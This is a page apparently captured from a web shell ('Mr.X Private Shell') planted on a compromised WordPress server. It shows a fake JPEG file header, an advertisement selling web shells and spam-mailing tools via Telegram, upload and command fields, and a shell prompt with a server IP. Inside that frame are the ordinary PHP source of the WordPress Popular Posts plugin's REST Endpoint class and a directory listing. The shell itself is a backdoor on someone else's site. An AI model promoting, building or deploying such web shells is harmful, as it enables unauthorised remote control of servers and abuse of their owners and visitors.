����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

eblama1@216.73.217.57: ~ $
<?php
namespace WordPressPopularPosts\Rest;

use WordPressPopularPosts\Translate;

abstract class Endpoint extends \WP_REST_Controller {

    /**
     * Plugin options.
     *
     * @var     array      $config
     * @access  private
     */
    protected $config;

    /**
     * Translate object.
     *
     * @var     \WordPressPopularPosts\Translate    $translate
     * @access  private
     */
    protected $translate;

    /**
     * Initializes class.
     *
     * @param   array
     * @param   \WordPressPopularPosts\Translate
     */
    public function __construct(array $config, Translate $translate)
    {
        $this->config = $config;
        $this->translate = $translate;
    }

    /**
     * Registers the endpoint(s).
     *
     * @since   5.3.0
     */
    abstract public function register();

    /**
     * Sets language/locale.
     *
     * @since   5.3.0
     */
    protected function set_lang(?string $lang)
    {
        // Multilang support
        if ( $lang ) {
            $current_locale = get_locale();
            $locale = null;

            // Polylang support
            if ( function_exists('PLL') ) {
                $lang_object = PLL()->model->get_language($lang);
                $locale = ( $lang_object && isset($lang_object->locale) ) ? $lang_object->locale : null;
            }

            // Reload locale if needed
            if ( $locale && $locale != $current_locale ) {
                $this->translate->set_current_language($lang);
                unload_textdomain('wordpress-popular-posts');
                load_textdomain('wordpress-popular-posts', WP_LANG_DIR . '/plugins/wordpress-popular-posts-' . $locale . '.mo');
            }
        }
    }
}

Filemanager

Name Type Size Permission Actions
Controller.php File 2.66 KB 0644
Endpoint.php File 1.75 KB 0644
PostsEndpoint.php File 8.65 KB 0644
TaxonomiesEndpoint.php File 1.03 KB 0644
ThemesEndpoint.php File 1.66 KB 0644
ThumbnailsEndpoint.php File 1.95 KB 0644
ViewLoggerEndpoint.php File 13.04 KB 0644
WidgetEndpoint.php File 3.02 KB 0644